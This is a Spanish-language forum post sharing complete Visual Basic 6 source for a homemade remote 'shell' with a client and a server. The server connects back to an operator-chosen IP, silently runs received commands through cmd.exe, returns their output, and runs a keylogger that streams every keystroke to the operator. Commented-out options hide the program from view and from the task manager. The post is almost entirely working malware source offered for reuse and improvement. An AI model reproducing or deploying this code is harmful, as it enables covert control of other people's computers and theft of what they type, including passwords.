Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - ohcan07

#1
Hola, soy ohcan07, bueno este es mi primer aporte, una mini "shell" remota, y la explicacion de como funciona, y como poder hacer una.

Bueno, este pequeño programa, lo fui armando de a poco con mis conocimientos basicos de visual basic, asi que esta formado en mayor parte por mi, pero tiene partes de otros codigos que fui encontrando en la web.
<----------------------------------->
Programacion:
- Elementos:

3 TextBox
7 CommandButton
2 Controles Winsock
2 Timer
- Codigo del cliente:
Dim datos As String 'Creamos las variables
Dim datos2 As String
Dim estado As String
Private Sub Command1_Click()
If Winsock2.State = 0 Then Winsock2.Listen Else ' Si el winsock2 esta desconectado se conecta
Text2.Text = "" ' Borra el texto del text2
Winsock1.Close ' cierra el winsock1
estado = "keylogger" ' Le asigna el valor keylogger a la variable para el select case
End Sub
Private Sub Command2_Click()
If Winsock1.State = 7 Then ' si el winsock1 esta conectado (=7) entonces:
Winsock1.SendData Text1.Text ' envia el texto del text1
ElseIf Winsock1.State = 0 Then MsgBox "Desconectado con el server." 'Pero si el winsock1 esta desconectado entonces alerta que esta desconectado
Else: Winsock1.Close ' y cierra el winsock1
End If
End Sub
Private Sub Command3_Click()
If Winsock1.State = 0 Then Winsock1.Listen Else 'Si el winsock1 esta desconectado lo pone a la escucha
Winsock2.Close ' y cierra el winsock2 que es el del keylogger
estado = "consola" ' y le asigna el valor consola a la variable para el select case
End Sub

Private Sub Command4_Click()
MsgBox "Metodo de utilización: Para cambiar de carpeta y ver su contenido se utilizara de la siguiente forma: UBICACION && DIR (por ej: CD C:\Archivos de programa\ && DIR ); Si en algun otro caso no funciona deberas probar agregar lo que deceas hacer todo en una misma linea de comando, comando por comando separados por &&, ejemplos: CD C:\ && mkdir carpeta(para crear una carpeta); CD C:\ && del Archivo.exe (para borrar archivo.exe); ", , "Ayuda" ' Esto explica un poco como utilizar la consola, ya que se cierra despues de cada comando
End Sub

Private Sub Command5_Click()
MsgBox "El keylogger ira mostrando las teclas que se apretan en la pc que se encuentra ejecutado el servidor, podes guardar el log del keylogger precionando en save log y se guardara en el archivo C:\log.txt", , "Ayuda" ' esto explica un poco el keylogger
End Sub

Private Sub Command6_Click()
Open "C:\log.txt" For Output As #1 'esto es para guardar el log del keylogger
Print #1, Text3
Close #1
End Sub

Private Sub Command7_Click()
If Winsock1.State = 7 Then 'Esto es para borrar la "pantalla" de la consola
Winsock1.SendData "CLS"
End If
End Sub

Private Sub Form_Load()
Command4.Caption = "?"
Command5.Caption = "?"
Command3.Caption = "Start"
Command1.Caption = "Start"
Command6.Caption = "Save Log"
Command7.Caption = "CLS"
Winsock1.LocalPort = 1993
Winsock2.LocalPort = 1994
Timer2.Interval = 500
Timer1.Interval = 400
End Sub

Private Sub Timer1_Timer()
Select Case estado 'Este select case es el que cambia el titulo del form, para decir si estamos utilizando la consola o el keylogger
Case "consola"
Form1.Caption = "Conectado a la consola." ' ya que si esta funcionando la consola, el keylogger no anda
Case "keylogger"
Form1.Caption = "Conectado a el keylogger." ' y si esta funcionando el keylogger, la consola no anda
End Select
Text2.Text = datos 'El timer este tambien es el que hace que se actualice el texto de el text2
Text3.Text = datos2 'y del text3
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) 'esto es lo que hace que
Winsock1.Close
Winsock1.Accept requestID 'se acepte la conexion del server, cuando quiera conectarce la consola
End Sub
Private Sub Winsock2_ConnectionRequest(ByVal requestID As Long) 'Este es igual al anterior solo que con el keylogger
Winsock2.Close
Winsock2.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 'obtiene los datos que envia el winsock del server en el puerto 1993
Winsock1.GetData datos ' y los guarda en la variable datos
End Sub
Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long) 'obtiene los datos que envia el winsock del server en el puerto 1994
Winsock2.GetData datos2 'y los guarda en la variable datos2
End Sub


Quedaria mas o menos así:


Bueno, ese seria el cliente, ahora el servidor:
- Elementos:

4 Timer
2 Winsock
2 TextBox
1 Modulo Bas



Dim datos As String
Dim largo As Long
Dim texto As String
Private Sub Form_Load()
'Hide 'esto es para ocultar el form si le sacamos la comilla, el form se ocultara
'App.TaskVisible = False 'si le sacamos la comilla esto hace que el archivo al ser ejecutado no aparezca en el administrador de tareas
Winsock1.RemoteHost = "localhost" 'ACA VA EL IP AL QUE QUEREMOS QUE SE CONECTE EL SERVER
Winsock1.RemotePort = 1993 ' este dejenlo asi
Winsock2.RemoteHost = "localhost" ' ACA VA EL MISMO IP AL QUE QUEREMOS CONECTARNOS
Winsock2.RemotePort = 1994 ' este dejenlo asi
Timer1.Interval = 200
Timer2.Interval = 200
Timer3.Interval = 200
Timer4.Interval = 1
Open "C:\consola.txt" For Output As #1 'Esto es para crear el archivo consola.txt
Close #1
End Sub

Private Sub Timer1_Timer()
If datos = "" Then
Else: Shell ("cmd.exe /c " & datos & " > C:\consola.txt"), vbHide 'ejecuta los comandos recividos y los guarda en consola.txt
datos = "" 'borra el comando recivido luego de ejecutarlo
End If

End Sub

Private Sub Timer2_Timer()
If Winsock1.State = 0 Then ' si el winsock1 esta desconectado entonces
Winsock1.Connect ' conecta el winsock1!
ElseIf Winsock1.State = 7 Then Form1.Caption = "Conectado." 'y muestra en el caption del form que se conecto
Else: Winsock1.Close
End If
If Winsock2.State = 0 Then ' si el winsock2 esta desconectado entonces
Winsock2.Connect ' conecta el winsock2!
ElseIf Winsock2.State = 7 Then Form1.Caption = "Conectado." 'y muestra en el caption del form que se conecto
Else: Winsock2.Close
End If
Open "c:\consola.txt" For Input As #1 ' abre el consola.txt y
largo = FileLen("c:\consola.txt")
texto = Input(largo, #1) ' guarda el consola.txt en la variable texto
Close #1
Text1.Text = texto ' abre en el text1 la variable texto que contiene el consola.txt
End Sub

Private Sub Timer3_Timer()
If Winsock1.State = 7 Then 'si esta conectado (= 7)
Winsock1.SendData Text1.Text ' manda lo que mostro la consola
Else
End If
If Winsock2.State = 7 Then 'si esta conectado (= 7)
Winsock2.SendData Text2.Text ' manda lo que guardo el keylogger
Else
End If

End Sub

Private Sub Timer4_Timer()
If obtenerlateclapresionada Then
 Text2.Text = Text2.Text + Tecla_Presionada 'guarda las teclas en el text2
End If
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.GetData datos 'recive el comando para ejecutar y lo guarda en la variable datos
End Sub







Ahora, el codigo del modulo es el siguiente:


'El modulo del keylogger no fue programado por mi, lo encontre en internet, y lo tome prestado. no se a quien pertenece sino lo pondria.
Private Declare Function Estadodelteclado Lib "user32" Alias "GetKeyboardState" _
(Estadodelatecla As Byte) As Long

Const VK_CAPITAL = &H14

Private Declare Function Estadodelatecla Lib "user32" _
Alias "GetKeyState" (ByVal nVirtKey As Long) As Integer

Private Declare Function Obtenersisepresionolatecla Lib "user32" _
Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer

   Private Const Tecla_shift As Integer = 16
   
   Private Buscar_tecla As Integer
   Private Resultado_tecla As Long
   Private bShift As Boolean
   Public Tecla_Presionada As String

Public Function obtenerlateclapresionada() As Boolean
 
   Buscar_tecla = 65
                     
   Do Until Buscar_tecla = 91
                             
    Resultado_tecla = Obtenersisepresionolatecla(Buscar_tecla)
   
       If Resultado_tecla = -32767 Then
   
           Resultado_tecla = Estadodelatecla(Tecla_shift)
   
           Tecla_Presionada = IIf(Resultado_tecla < 0, Chr(Buscar_tecla), LCase(Chr(Buscar_tecla)))
         

           Dim stado As Boolean
           Call capslock_rm(stado)
         
           If stado = True Then
             Tecla_Presionada = UCase(Tecla_Presionada)
           
           End If
           GoTo teclaencontrada
       End If

       Buscar_tecla = Buscar_tecla + 1
       
   Loop

   Buscar_tecla = 48

   Do Until Buscar_tecla = 57
   
       Resultado_tecla = Obtenersisepresionolatecla(Buscar_tecla)
     
       If Resultado_tecla = -32767 Then
           Resultado_tecla = Estadodelatecla(Tecla_shift)
           
           If Resultado_tecla < 0 Then
               If Buscar_tecla = 48 Then Tecla_Presionada = "="
               If Buscar_tecla = 49 Then Tecla_Presionada = "!"
               If Buscar_tecla = 50 Then Tecla_Presionada = "'"
               If Buscar_tecla = 51 Then Tecla_Presionada = "#"
               If Buscar_tecla = 52 Then Tecla_Presionada = "$"
               If Buscar_tecla = 53 Then Tecla_Presionada = "%"
               If Buscar_tecla = 54 Then Tecla_Presionada = "^"
               If Buscar_tecla = 55 Then Tecla_Presionada = "&"
               If Buscar_tecla = 56 Then Tecla_Presionada = "*"
               If Buscar_tecla = 58 Then Tecla_Presionada = "("
           Else
               Tecla_Presionada = Chr(Buscar_tecla)
             
           End If

           GoTo teclaencontrada
       End If

       Buscar_tecla = Buscar_tecla + 1
   Loop

   Resultado_tecla = Obtenersisepresionolatecla(13)


   If Resultado_tecla = -32767 Then
       Tecla_Presionada = vbCrLf
       GoTo teclaencontrada
   End If

   Resultado_tecla = Obtenersisepresionolatecla(32)
   If Resultado_tecla = -32767 Then
       Tecla_Presionada = " "
       GoTo teclaencontrada
   End If

   Resultado_tecla = Obtenersisepresionolatecla(8)
   If Resultado_tecla = -32767 Then
       Tecla_Presionada = " BKSP "
       GoTo teclaencontrada
   End If
   Resultado_tecla = Obtenersisepresionolatecla(46)
   If Resultado_tecla = -32767 Then
       Tecla_Presionada = " DEL "
       GoTo teclaencontrada
   End If
   Resultado_tecla = Obtenersisepresionolatecla(190)
   If Resultado_tecla = -32767 Then
       Resultado_tecla = Estadodelatecla(Tecla_shift)
       Tecla_Presionada = IIf(Resultado_tecla < 0, ">", ".")
       GoTo teclaencontrada
   End If

   Resultado_tecla = Obtenersisepresionolatecla(188)


   If Resultado_tecla = -32767 Then
       Resultado_tecla = Estadodelatecla(Tecla_shift)
       Tecla_Presionada = IIf(Resultado_tecla < 0, "<", ",")
       GoTo teclaencontrada
   End If

   Resultado_tecla = Obtenersisepresionolatecla(186)

   If Resultado_tecla = -32767 Then
       Resultado_tecla = Estadodelatecla(Tecla_shift)
       Tecla_Presionada = IIf(Resultado_tecla < 0, ":", ";")
       GoTo teclaencontrada
   End If

   Resultado_tecla = Obtenersisepresionolatecla(191)

   If Resultado_tecla = -32767 Then
       Resultado_tecla = Estadodelatecla(Tecla_shift)
       Tecla_Presionada = IIf(Resultado_tecla < 0, "?", "/")
       GoTo teclaencontrada
   End If

   Resultado_tecla = Obtenersisepresionolatecla(222)

   If Resultado_tecla = -32767 Then
       Resultado_tecla = Estadodelatecla(Tecla_shift)
       Tecla_Presionada = IIf(Resultado_tecla < 0, """", "'")
       GoTo teclaencontrada
   End If

   Resultado_tecla = Obtenersisepresionolatecla(192)

   If Resultado_tecla = -32767 Then
       Resultado_tecla = Estadodelatecla(Tecla_shift)
       Tecla_Presionada = IIf(Resultado_tecla < 0, "~", "`")
       GoTo teclaencontrada
   End If

   Resultado_tecla = Obtenersisepresionolatecla(189)


   If Resultado_tecla = -32767 Then
       Resultado_tecla = Estadodelatecla(Tecla_shift)
       Tecla_Presionada = IIf(Resultado_tecla < 0, "_", "-")
       GoTo teclaencontrada
   End If

   Resultado_tecla = Obtenersisepresionolatecla(187)


   If Resultado_tecla = -32767 Then
       Resultado_tecla = Estadodelatecla(Tecla_shift)
       Tecla_Presionada = IIf(Resultado_tecla < 0, "+", "=")
       GoTo teclaencontrada
   End If

   obtenerlateclapresionada = False

   Exit Function

teclaencontrada:
   obtenerlateclapresionada = True
End Function
Public Sub capslock_rm(estado As Boolean)
Dim EstadodelCapsLock As Boolean
Dim teclas(0 To 255) As Byte

Estadodelteclado teclas(0)

EstadodelCapsLock = teclas(VK_CAPITAL)

If EstadodelCapsLock <> True Then

   estado = False
ElseIf EstadodelCapsLock <> False Then

   estado = True
End If
End Sub

y el server quedaria mas o menos así:





Bueno este es mi primer aporte  :D , Espero que les sirva, y si pueden modificar y perfeccionar el codigo, seria muy bueno que lo posteen aca. ya que seguramente tiene algun error, o alguna modificacion para que funcione mejor.
Si falta algo, me comentan.
Suerte!